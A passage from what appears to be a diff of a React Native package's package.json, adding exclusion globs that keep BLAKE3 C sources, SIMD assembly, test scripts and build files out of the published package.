"!**/*.tsbuildinfo", "!ios/libsodium-stable", - "!deps/simdutf/src/CMakeLists.txt" + "!deps/simdutf/src/CMakeLists.txt", + "!deps/blake3/c/blake3_c_rust_bindings", + "!deps/blake3/c/dependencies", + "!deps/blake3/c/*_x86-64_*.S", + "!deps/blake3/c/*_x86-64_*.asm", + "!deps/blake3/c/blake3_avx2.c", + "!deps/blake3/c/blake3_avx512.c", + "!deps/blake3/c/blake3_sse2.c", + "!deps/blake3/c/blake3_sse41.c", + "!deps/blake3/c/blake3_tbb.cpp", + "!deps/blake3/c/main.c", + "!deps/blake3/c/example.c", + "!deps/blake3/c/example_tbb.c", + "!deps/blake3/c/test.py", + "!deps/blake3/c/Makefile.testing", + "!deps/blake3/c/CMakeLists.txt", + "!deps/blake3/c/CMakePresets.json", + "!deps/blake3/c/blake3-config.cmake.in", + "!deps/blake3/c/libblake3.pc.in" ], "keywords": [ "react-native",